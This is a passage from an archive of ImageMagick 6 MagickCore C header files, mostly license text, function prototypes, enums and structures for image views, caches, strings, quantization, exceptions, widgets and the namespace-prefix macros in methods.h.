BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore X11 window methods. */ #ifndef MAGICKCORE_XWINDOW_H #define MAGICKCORE_XWINDOW_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _XImportInfo { MagickBooleanType frame, borders, screen, descend, silent; } XImportInfo; extern MagickExport Image *XImportImage(const ImageInfo *,XImportInfo *); extern MagickExport void XGetImportInfo(XImportInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/image-view.h 0000644 00000005301 15246445046 0012514 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image view methods. */ #ifndef MAGICKCORE_IMAGE_VIEW_H #define MAGICKCORE_IMAGE_VIEW_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _ImageView ImageView; typedef MagickBooleanType (*DuplexTransferImageViewMethod)(const ImageView *,const ImageView *, ImageView *,const ssize_t,const int,void *), (*GetImageViewMethod)(const ImageView *,const ssize_t,const int,void *), (*SetImageViewMethod)(ImageView *,const ssize_t,const int,void *), (*TransferImageViewMethod)(const ImageView *,ImageView *,const ssize_t, const int,void *), (*UpdateImageViewMethod)(ImageView *,const ssize_t,const int,void *); extern MagickExport char *GetImageViewException(const ImageView *,ExceptionType *); extern MagickExport const IndexPacket *GetImageViewVirtualIndexes(const ImageView *); extern MagickExport const PixelPacket *GetImageViewVirtualPixels(const ImageView *); extern MagickExport Image *GetImageViewImage(const ImageView *); extern MagickExport ImageView *CloneImageView(const ImageView *), *DestroyImageView(ImageView *), *NewImageView(Image *), *NewImageViewRegion(Image *,const ssize_t,const ssize_t,const size_t, const size_t); extern MagickExport IndexPacket *GetImageViewAuthenticIndexes(const ImageView *); extern MagickExport MagickBooleanType DuplexTransferImageViewIterator(ImageView *,ImageView *,ImageView *, DuplexTransferImageViewMethod,void *), GetImageViewIterator(ImageView *,GetImageViewMethod,void *), IsImageView(const ImageView *), SetImageViewIterator(ImageView *,SetImageViewMethod,void *), TransferImageViewIterator(ImageView *,ImageView *,TransferImageViewMethod, void *), UpdateImageViewIterator(ImageView *,UpdateImageViewMethod,void *); extern MagickExport PixelPacket *GetImageViewAuthenticPixels(const ImageView *); extern MagickExport RectangleInfo GetImageViewExtent(const ImageView *); extern MagickExport void SetImageViewDescription(ImageView *,const char *), SetImageViewThreads(ImageView *,const size_t); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/cache-view.h 0000644 00000007374 15246445046 0012511 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore cache view methods. */ #ifndef MAGICKCORE_CACHE_VIEW_H #define MAGICKCORE_CACHE_VIEW_H #include "magick/pixel.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedVirtualPixelMethod, BackgroundVirtualPixelMethod, ConstantVirtualPixelMethod, /* deprecated */ DitherVirtualPixelMethod, EdgeVirtualPixelMethod, MirrorVirtualPixelMethod, RandomVirtualPixelMethod, TileVirtualPixelMethod, TransparentVirtualPixelMethod, MaskVirtualPixelMethod, BlackVirtualPixelMethod, GrayVirtualPixelMethod, WhiteVirtualPixelMethod, HorizontalTileVirtualPixelMethod, VerticalTileVirtualPixelMethod, HorizontalTileEdgeVirtualPixelMethod, VerticalTileEdgeVirtualPixelMethod, CheckerTileVirtualPixelMethod } VirtualPixelMethod; typedef struct _CacheView CacheView; extern MagickExport CacheView *AcquireAuthenticCacheView(const Image *,ExceptionInfo *), *AcquireCacheView(const Image *), *AcquireVirtualCacheView(const Image *,ExceptionInfo *), *CloneCacheView(const CacheView *), *DestroyCacheView(CacheView *); extern MagickExport ClassType GetCacheViewStorageClass(const CacheView *) magick_attribute((__pure__)); extern MagickExport ColorspaceType GetCacheViewColorspace(const CacheView *) magick_attribute((__pure__)); extern MagickExport const IndexPacket *GetCacheViewVirtualIndexQueue(const CacheView *) magick_attribute((__pure__)); extern MagickExport const PixelPacket *GetCacheViewVirtualPixels(const CacheView *,const ssize_t,const ssize_t, const size_t,const size_t,ExceptionInfo *) magick_hot_spot, *GetCacheViewVirtualPixelQueue(const CacheView *) magick_hot_spot; extern MagickExport ExceptionInfo *GetCacheViewException(const CacheView *) magick_attribute((__pure__)); extern MagickExport IndexPacket *GetCacheViewAuthenticIndexQueue(CacheView *) magick_attribute((__pure__)); extern MagickExport MagickBooleanType GetOneCacheViewAuthenticPixel(const CacheView *magick_restrict,const ssize_t, const ssize_t,PixelPacket *magick_restrict,ExceptionInfo *), GetOneCacheViewVirtualMethodPixel(const CacheView *, const VirtualPixelMethod,const ssize_t,const ssize_t,PixelPacket *, ExceptionInfo *), GetOneCacheViewVirtualPixel(const CacheView *magick_restrict,const ssize_t, const ssize_t,PixelPacket *magick_restrict,ExceptionInfo *), SetCacheViewStorageClass(CacheView *,const ClassType), SetCacheViewVirtualPixelMethod(CacheView *magick_restrict, const VirtualPixelMethod), SyncCacheViewAuthenticPixels(CacheView *magick_restrict,ExceptionInfo *) magick_hot_spot; extern MagickExport MagickSizeType GetCacheViewExtent(const CacheView *); extern MagickExport size_t GetCacheViewChannels(const CacheView *); extern MagickExport PixelPacket *GetCacheViewAuthenticPixelQueue(CacheView *) magick_hot_spot, *GetCacheViewAuthenticPixels(CacheView *,const ssize_t,const ssize_t, const size_t,const size_t,ExceptionInfo *) magick_hot_spot, *QueueCacheViewAuthenticPixels(CacheView *,const ssize_t,const ssize_t, const size_t,const size_t,ExceptionInfo *) magick_hot_spot; #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/string_.h 0000644 00000007205 15246445046 0012134 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore string methods. */ #ifndef MAGICKCORE_STRING_H_ #define MAGICKCORE_STRING_H_ #include <stdarg.h> #include <time.h> #include "magick/exception.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _StringInfo { char path[MaxTextExtent]; unsigned char *datum; size_t length, signature; char *name; } StringInfo; extern MagickExport char *AcquireString(const char *), *CloneString(char **,const char *), *ConstantString(const char *), *DestroyString(char *), **DestroyStringList(char **), *EscapeString(const char *,const char), *FileToString(const char *,const size_t,ExceptionInfo *), *GetEnvironmentValue(const char *), *SanitizeString(const char *), *StringInfoToHexString(const StringInfo *), *StringInfoToString(const StringInfo *), **StringToArgv(const char *,int *), *StringToken(const char *,char **), **StringToList(const char *), **StringToStrings(const char *,size_t *); extern MagickExport const char *GetStringInfoName(const StringInfo *), *GetStringInfoPath(const StringInfo *); extern MagickExport double InterpretSiPrefixValue(const char *magick_restrict,char **magick_restrict), *StringToArrayOfDoubles(const char *,ssize_t *, ExceptionInfo *); extern MagickExport int CompareStringInfo(const StringInfo *,const StringInfo *); extern MagickExport MagickBooleanType ConcatenateString(char **magick_restrict,const char *magick_restrict), IsStringTrue(const char *) magick_attribute((__pure__)), IsStringNotFalse(const char *) magick_attribute((__pure__)), SubstituteString(char **,const char *,const char *); extern MagickExport size_t ConcatenateMagickString(char *magick_restrict,const char *magick_restrict, const size_t) magick_attribute((__nonnull__)), CopyMagickString(char *magick_restrict,const char *magick_restrict, const size_t) magick_attribute((__nonnull__)), GetStringInfoLength(const StringInfo *); extern MagickExport ssize_t FormatMagickSize(const MagickSizeType,const MagickBooleanType,char *); extern MagickExport StringInfo *AcquireStringInfo(const size_t), *BlobToStringInfo(const void *,const size_t), *CloneStringInfo(const StringInfo *), *ConfigureFileToStringInfo(const char *), *DestroyStringInfo(StringInfo *), *FileToStringInfo(const char *,const size_t,ExceptionInfo *), *SplitStringInfo(StringInfo *,const size_t), *StringToStringInfo(const char *); extern MagickExport unsigned char *GetStringInfoDatum(const StringInfo *); extern MagickExport void ConcatenateStringInfo(StringInfo *,const StringInfo *) magick_attribute((__nonnull__)), PrintStringInfo(FILE *file,const char *,const StringInfo *), ResetStringInfo(StringInfo *), SetStringInfo(StringInfo *,const StringInfo *), SetStringInfoDatum(StringInfo *,const unsigned char *), SetStringInfoLength(StringInfo *,const size_t), SetStringInfoName(StringInfo *,const char *), SetStringInfoPath(StringInfo *,const char *), StripString(char *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/quantize.h 0000644 00000003704 15246445046 0012327 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image quantization methods. */ #ifndef MAGICKCORE_QUANTIZE_H #define MAGICKCORE_QUANTIZE_H #include "magick/colorspace.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedDitherMethod, NoDitherMethod, RiemersmaDitherMethod, FloydSteinbergDitherMethod } DitherMethod; typedef struct _QuantizeInfo { size_t number_colors; size_t tree_depth; MagickBooleanType dither; ColorspaceType colorspace; MagickBooleanType measure_error; size_t signature; DitherMethod dither_method; } QuantizeInfo; extern MagickExport MagickBooleanType CompressImageColormap(Image *), GetImageQuantizeError(Image *), PosterizeImage(Image *,const size_t,const MagickBooleanType), PosterizeImageChannel(Image *,const ChannelType,const size_t, const MagickBooleanType), QuantizeImage(const QuantizeInfo *,Image *), QuantizeImages(const QuantizeInfo *,Image *), RemapImage(const QuantizeInfo *,Image *,const Image *), RemapImages(const QuantizeInfo *,Image *,const Image *); extern MagickExport QuantizeInfo *AcquireQuantizeInfo(const ImageInfo *), *CloneQuantizeInfo(const QuantizeInfo *), *DestroyQuantizeInfo(QuantizeInfo *); extern MagickExport void GetQuantizeInfo(QuantizeInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/histogram.h 0000644 00000002743 15246445046 0012466 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore histogram methods. */ #ifndef MAGICKCORE_HISTOGRAM_H #define MAGICKCORE_HISTOGRAM_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _ColorPacket { PixelPacket pixel; IndexPacket index; MagickSizeType count; } ColorPacket; extern MagickExport ColorPacket *GetImageHistogram(const Image *,size_t *,ExceptionInfo *); extern MagickExport Image *UniqueImageColors(const Image *,ExceptionInfo *); extern MagickExport MagickBooleanType IdentifyPaletteImage(const Image *,ExceptionInfo *), IsHistogramImage(const Image *,ExceptionInfo *), IsPaletteImage(const Image *,ExceptionInfo *), MinMaxStretchImage(Image *,const ChannelType,const double,const double); extern MagickExport size_t GetNumberColors(const Image *,FILE *,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/display.h 0000644 00000002036 15246445047 0012132 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore methods to interactively display and edit an image. */ #ifndef MAGICKCORE_DISPLAY_H #define MAGICKCORE_DISPLAY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType DisplayImages(const ImageInfo *,Image *), RemoteDisplayCommand(const ImageInfo *,const char *,const char *, ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/exception.h 0000644 00000010761 15246445047 0012467 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore exception methods. */ #ifndef MAGICKCORE_EXCEPTION_H #define MAGICKCORE_EXCEPTION_H #include <stdarg.h> #include "magick/semaphore.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedException, WarningException = 300, ResourceLimitWarning = 300, TypeWarning = 305, OptionWarning = 310, DelegateWarning = 315, MissingDelegateWarning = 320, CorruptImageWarning = 325, FileOpenWarning = 330, BlobWarning = 335, StreamWarning = 340, CacheWarning = 345, CoderWarning = 350, FilterWarning = 352, ModuleWarning = 355, DrawWarning = 360, ImageWarning = 365, WandWarning = 370, RandomWarning = 375, XServerWarning = 380, MonitorWarning = 385, RegistryWarning = 390, ConfigureWarning = 395, PolicyWarning = 399, ErrorException = 400, ResourceLimitError = 400, TypeError = 405, OptionError = 410, DelegateError = 415, MissingDelegateError = 420, CorruptImageError = 425, FileOpenError = 430, BlobError = 435, StreamError = 440, CacheError = 445, CoderError = 450, FilterError = 452, ModuleError = 455, DrawError = 460, ImageError = 465, WandError = 470, RandomError = 475, XServerError = 480, MonitorError = 485, RegistryError = 490, ConfigureError = 495, PolicyError = 499, FatalErrorException = 700, ResourceLimitFatalError = 700, TypeFatalError = 705, OptionFatalError = 710, DelegateFatalError = 715, MissingDelegateFatalError = 720, CorruptImageFatalError = 725, FileOpenFatalError = 730, BlobFatalError = 735, StreamFatalError = 740, CacheFatalError = 745, CoderFatalError = 750, FilterFatalError = 752, ModuleFatalError = 755, DrawFatalError = 760, ImageFatalError = 765, WandFatalError = 770, RandomFatalError = 775, XServerFatalError = 780, MonitorFatalError = 785, RegistryFatalError = 790, ConfigureFatalError = 795, PolicyFatalError = 799 } ExceptionType; struct _ExceptionInfo { ExceptionType severity; int error_number; char *reason, *description; void *exceptions; MagickBooleanType relinquish; SemaphoreInfo *semaphore; size_t signature; }; typedef void (*ErrorHandler)(const ExceptionType,const char *,const char *); typedef void (*FatalErrorHandler)(const ExceptionType,const char *,const char *) magick_attribute((__noreturn__)); typedef void (*WarningHandler)(const ExceptionType,const char *,const char *); extern MagickExport char *GetExceptionMessage(const int); extern MagickExport const char *GetLocaleExceptionMessage(const ExceptionType,const char *); extern MagickExport ErrorHandler SetErrorHandler(ErrorHandler); extern MagickExport ExceptionInfo *AcquireExceptionInfo(void), *CloneExceptionInfo(ExceptionInfo *), *DestroyExceptionInfo(ExceptionInfo *); extern MagickExport FatalErrorHandler SetFatalErrorHandler(FatalErrorHandler); extern MagickExport MagickBooleanType ThrowException(ExceptionInfo *,const ExceptionType,const char *, const char *), ThrowMagickException(ExceptionInfo *,const char *,const char *,const size_t, const ExceptionType,const char *,const char *,...) magick_attribute((__format__ (__printf__,7,8))), ThrowMagickExceptionList(ExceptionInfo *,const char *,const char *, const size_t,const ExceptionType,const char *,const char *,va_list) magick_attribute((__format__ (__printf__,7,0))); extern MagickExport void CatchException(ExceptionInfo *), ClearMagickException(ExceptionInfo *), InheritException(ExceptionInfo *,const ExceptionInfo *), MagickError(const ExceptionType,const char *,const char *), MagickFatalError(const ExceptionType,const char *,const char *) magick_attribute((__noreturn__)), MagickWarning(const ExceptionType,const char *,const char *); extern MagickExport WarningHandler SetWarningHandler(WarningHandler); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/widget.h 0000644 00000005103 15246445047 0011746 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore X11 widget methods. */ #ifndef MAGICKCORE_WIDGET_H #define MAGICKCORE_WIDGET_H #if defined(MAGICKCORE_X11_DELEGATE) #include "magick/xwindow-private.h" #endif #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if defined(MAGICKCORE_X11_DELEGATE) extern MagickExport int XCommandWidget(Display *,XWindows *,const char *const *,XEvent *), XConfirmWidget(Display *,XWindows *,const char *,const char *), XDialogWidget(Display *,XWindows *,const char *,const char *,char *), XMenuWidget(Display *,XWindows *,const char *,const char *const *,char *); extern MagickExport MagickBooleanType XPreferencesWidget(Display *,XResourceInfo *,XWindows *); extern MagickExport void DestroyXWidget(void), XColorBrowserWidget(Display *,XWindows *,const char *,char *), XFileBrowserWidget(Display *,XWindows *,const char *,char *), XFontBrowserWidget(Display *,XWindows *,const char *,char *), XInfoWidget(Display *,XWindows *,const char *), XListBrowserWidget(Display *,XWindows *,XWindowInfo *,const char *const *, const char *,const char *,char *), XNoticeWidget(Display *,XWindows *,const char *,const char *), XProgressMonitorWidget(Display *,XWindows *,const char *, const MagickOffsetType,const MagickSizeType), XTextViewWidget(Display *,const XResourceInfo *,XWindows *, const MagickBooleanType,const char *,const char **); static inline void XTextViewHelp(Display *display, const XResourceInfo *resource_info,XWindows *windows, const MagickBooleanType mono,const char *title,const char *help) { char **help_list; ssize_t i; help_list=StringToList(help); if (help_list == (char **) NULL) return; XTextViewWidget(display,resource_info,windows,mono,title,(const char **) help_list); for (i=0; help_list[i] != (char *) NULL; i++) help_list[i]=DestroyString(help_list[i]); help_list=(char **) RelinquishMagickMemory(help_list); } #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/coder.h 0000644 00000003150 15246445047 0011557 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image coder methods. */ #ifndef MAGICKCORE_CODER_H #define MAGICKCORE_CODER_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _CoderInfo { char *path, *magick, *name; MagickBooleanType exempt, stealth; struct _CoderInfo *previous, *next; /* deprecated, use GetCoderInfoList() */ size_t signature; } CoderInfo; extern MagickExport char **GetCoderList(const char *,size_t *,ExceptionInfo *); extern MagickExport const CoderInfo *GetCoderInfo(const char *,ExceptionInfo *), **GetCoderInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport MagickBooleanType CoderComponentGenesis(void), ListCoderInfo(FILE *,ExceptionInfo *); MagickExport void CoderComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/mime.h 0000644 00000002643 15246445047 0011420 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. The ImageMagick mime methods. */ #ifndef MAGICKCORE_MIME_H #define MAGICKCORE_MIME_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _MimeInfo MimeInfo; extern MagickExport char **GetMimeList(const char *,size_t *,ExceptionInfo *), *MagickToMime(const char *); extern MagickExport const char *GetMimeDescription(const MimeInfo *), *GetMimeType(const MimeInfo *); extern MagickExport MagickBooleanType ListMimeInfo(FILE *,ExceptionInfo *), MimeComponentGenesis(void); extern MagickExport const MimeInfo *GetMimeInfo(const char *,const unsigned char *,const size_t,ExceptionInfo *), **GetMimeInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport void MimeComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/channel.h 0000644 00000003267 15246445047 0012104 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image channel methods. */ #ifndef MAGICKCORE_CHANNEL_H #define MAGICKCORE_CHANNEL_H #include "magick/image.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedAlphaChannel, ActivateAlphaChannel, BackgroundAlphaChannel, CopyAlphaChannel, DeactivateAlphaChannel, ExtractAlphaChannel, OpaqueAlphaChannel, ResetAlphaChannel, /* deprecated */ SetAlphaChannel, ShapeAlphaChannel, TransparentAlphaChannel, FlattenAlphaChannel, RemoveAlphaChannel, AssociateAlphaChannel, DisassociateAlphaChannel, OffIfOpaqueAlphaChannel } AlphaChannelType; extern MagickExport Image *CombineImages(const Image *,const ChannelType,ExceptionInfo *), *SeparateImage(const Image *,const ChannelType,ExceptionInfo *), *SeparateImages(const Image *,const ChannelType,ExceptionInfo *); extern MagickExport MagickBooleanType GetImageAlphaChannel(const Image *), SeparateImageChannel(Image *,const ChannelType), SetImageAlphaChannel(Image *,const AlphaChannelType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/property.h 0000644 00000003130 15246445047 0012345 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore property methods. */ #ifndef MAGICKCORE_PROPERTY_H #define MAGICKCORE_PROPERTY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport char *GetNextImageProperty(const Image *), *InterpretImageProperties(const ImageInfo *,Image *,const char *), *RemoveImageProperty(Image *,const char *); extern MagickExport const char *GetImageProperty(const Image *,const char *), *GetMagickProperty(const ImageInfo *,Image *,const char *); extern MagickExport MagickBooleanType CloneImageProperties(Image *,const Image *), DefineImageProperty(Image *,const char *), DeleteImageProperty(Image *,const char *), FormatImageProperty(Image *,const char *,const char *,...) magick_attribute((__format__ (__printf__,3,4))), SetImageProperty(Image *,const char *,const char *); extern MagickExport void DestroyImageProperties(Image *), ResetImagePropertyIterator(const Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/montage.h 0000644 00000003351 15246445047 0012120 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore montage methods. */ #ifndef MAGICKCORE_MONTAGE_H #define MAGICKCORE_MONTAGE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedMode, FrameMode, UnframeMode, ConcatenateMode } MontageMode; typedef struct _MontageInfo { char *geometry, *tile, *title, *frame, *texture, *font; double pointsize; size_t border_width; MagickBooleanType shadow; PixelPacket fill, stroke, background_color, border_color, matte_color; GravityType gravity; char filename[MaxTextExtent]; MagickBooleanType debug; size_t signature; } MontageInfo; extern MagickExport Image *MontageImages(const Image *,const MontageInfo *,ExceptionInfo *), *MontageImageList(const ImageInfo *,const MontageInfo *,const Image *, ExceptionInfo *); extern MagickExport MontageInfo *CloneMontageInfo(const ImageInfo *,const MontageInfo *), *DestroyMontageInfo(MontageInfo *); extern MagickExport void GetMontageInfo(const ImageInfo *,MontageInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/methods.h 0000644 00000330005 15246445047 0012130 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore API methods prefix. nm -p magick/.libs/libMagickCore-6.Q16.a | grep ' T ' | \ egrep -v '(MagickError)|(MagickFatalError)|(MagickWarning)|(ThrowException)' | \ awk '{ printf("#define %s PrependMagickMethod(%s)\n", $3, $3); }' | sort */ #ifndef MAGICKCORE_METHOD_H #define MAGICKCORE_METHOD_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if defined(MAGICKCORE_NAMESPACE_PREFIX) #if defined(__STDC__) #define PrescanMagickPrefix(prefix,method) prefix ## method #else #define PrescanMagickPrefix(prefix,method) prefix(method) #endif #define EvaluateMagickPrefix(prefix,method) PrescanMagickPrefix(prefix,method) #define PrependMagickMethod(method) \ EvaluateMagickPrefix(MAGICKCORE_NAMESPACE_PREFIX,method) #define AcquireAlignedMemory PrependMagickMethod(AcquireAlignedMemory) #define AcquireAuthenticCacheView PrependMagickMethod(AcquireAuthenticCacheView) #define AcquireCacheViewIndexes PrependMagickMethod(AcquireCacheViewIndexes) #define AcquireCacheViewPixels PrependMagickMethod(AcquireCacheViewPixels) #define AcquireCacheView PrependMagickMethod(AcquireCacheView) #define AcquireCriticalMemory PrependMagickMethod(AcquireCriticalMemory) #define AcquireDistributeCacheInfo PrependMagickMethod(AcquireDistributeCacheInfo) #define AcquireDrawInfo PrependMagickMethod(AcquireDrawInfo) #define AcquireExceptionInfo PrependMagickMethod(AcquireExceptionInfo) #define AcquireFxInfo PrependMagickMethod(AcquireFxInfo) #define AcquireImageColormap PrependMagickMethod(AcquireImageColormap) #define AcquireImageInfo PrependMagickMethod(AcquireImageInfo) #define AcquireImagePixels PrependMagickMethod(AcquireImagePixels) #define AcquireImage PrependMagickMethod(AcquireImage) #define AcquireIndexes PrependMagickMethod(AcquireIndexes) #define AcquireKernelBuiltIn PrependMagickMethod(AcquireKernelBuiltIn) #define AcquireKernelInfo PrependMagickMethod(AcquireKernelInfo) #define AcquireMagickMatrix PrependMagickMethod(AcquireMagickMatrix) #define AcquireMagickMemory PrependMagickMethod(AcquireMagickMemory) #define AcquireMagickResource PrependMagickMethod(AcquireMagickResource) #define AcquireMatrixInfo PrependMagickMethod(AcquireMatrixInfo) #define AcquireMemory PrependMagickMethod(AcquireMemory) #define AcquireNextImage PrependMagickMethod(AcquireNextImage) #define AcquireOneCacheViewPixel PrependMagickMethod(AcquireOneCacheViewPixel) #define AcquireOneCacheViewVirtualPixel PrependMagickMethod(AcquireOneCacheViewVirtualPixel) #define AcquireOneMagickPixel PrependMagickMethod(AcquireOneMagickPixel) #define AcquireOnePixel PrependMagickMethod(AcquireOnePixel) #define AcquireOneVirtualPixel PrependMagickMethod(AcquireOneVirtualPixel) #define AcquirePixelCacheNexus PrependMagickMethod(AcquirePixelCacheNexus) #define AcquirePixelCachePixels PrependMagickMethod(AcquirePixelCachePixels) #define AcquirePixelCache PrependMagickMethod(AcquirePixelCache) #define AcquirePixels PrependMagickMethod(AcquirePixels) #define AcquireQuantizeInfo PrependMagickMethod(AcquireQuantizeInfo) #define AcquireQuantumInfo PrependMagickMethod(AcquireQuantumInfo) #define AcquireQuantumMemory PrependMagickMethod(AcquireQuantumMemory) #define AcquireRandomInfo PrependMagickMethod(AcquireRandomInfo) #define AcquireResampleFilter PrependMagickMethod(AcquireResampleFilter) #define AcquireResizeFilter PrependMagickMethod(AcquireResizeFilter) #define AcquireSemaphoreInfo PrependMagickMethod(AcquireSemaphoreInfo) #define AcquireSignatureInfo PrependMagickMethod(AcquireSignatureInfo) #define AcquireStreamInfo PrependMagickMethod(AcquireStreamInfo) #define AcquireStringInfo PrependMagickMethod(AcquireStringInfo) #define AcquireString PrependMagickMethod(AcquireString) #define AcquireTimerInfo PrependMagickMethod(AcquireTimerInfo) #define AcquireTokenInfo 